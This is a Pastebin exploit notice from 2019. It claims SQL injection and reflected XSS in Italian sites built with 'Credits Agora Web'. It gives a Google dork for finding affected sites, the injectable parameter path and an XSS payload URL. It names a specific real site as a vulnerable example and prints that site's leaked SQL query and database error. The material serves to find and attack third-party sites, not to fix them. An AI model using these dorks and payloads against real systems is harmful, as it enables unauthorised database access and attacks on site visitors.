Advertisement
KingSkrupellos

Credits Agora Web Italy XSS SQL Injection

Jun 13th, 2019
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.92 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Credits Agora Web Italy XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/06/2019
  7. # Vendor Homepage : agora-web.it
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Google Dorks : intext:Credits Agora Web site:it
  12. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  13. Special Elements used in an SQL Command ('SQL Injection') ]
  14. CWE-79 [ Improper Neutralization of Input During
  15. Web Page Generation ('Cross-site Scripting') ]
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. ###################################################################
  21.  
  22. # Impact :
  23. ***********
  24. Credits Agora Web Italy is prone to an SQL-injection
  25. vulnerability because it fails to sufficiently sanitize user-supplied data before using
  26. it in an SQL query. Exploiting this issue could allow an attacker to compromise the
  27. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  28. A remote attacker can send a specially crafted request to the vulnerable application and
  29. execute arbitrary SQL commands in application`s database. Further exploitation of this
  30. vulnerability may result in unauthorized data manipulation.
  31. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  32.  
  33. Reflected XSS (or Non-Persistent) :
  34. ***************************************
  35. The server reads data directly from the HTTP
  36. request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
  37. attacker causes a victim to supply dangerous content to a vulnerable web application,
  38. which is then reflected back to the victim and executed by the web browser. The most common
  39. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  40. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  41. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  42. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  43. the content is executed by the victim's browser.
  44.  
  45. ###################################################################
  46.  
  47. # SQL Injection Exploit :
  48. **********************
  49. /ita_productDetailC.php?oid_prod=[SQL Injection]
  50.  
  51. # Cross Site Scripting XSS Exploit :
  52. ********************************
  53. /ita_productDetailC.php?oid_prod=1%27<marquee>
  54. <font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>
  55.  
  56. ###################################################################
  57.  
  58. # Example Vulnerable Sites :
  59. *************************
  60. [+] molinobertolo.it/ita_productDetailC.php?oid_prod=1%27
  61.  
  62. [+] molinobertolo.it/ita_productDetailC.php?oid_prod=1%27<marquee>
  63. <font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>
  64.  
  65. ###################################################################
  66.  
  67. # Example SQL Database Error :
  68. ****************************
  69. Query: SELECT oid, oid_uso, oid_prod_categoria, oid_prod_tipofarina,
  70. oid_farina_classe, impiego_ita, prodotto_ita, desc_ita, cereali_ita, lavorazione_ita,
  71. scheda, url_ecomm, immagine, formato_1c, formato_2c, formato_3c,
  72. formato_4c, formato_5c,formato_6c FROM prodotti WHERE oid =1'
  73. AND (oid_uso = 1 OR oid_uso = 2) LIMIT 1
  74. Error: You have an error in your SQL syntax; check the manual that
  75. corresponds to your MySQL server version for the right syntax to
  76. use near '' AND (oid_uso = 1 OR oid_uso = 2) LIMIT 1' at line 1
  77.  
  78. ###################################################################
  79.  
  80. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  81.  
  82. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement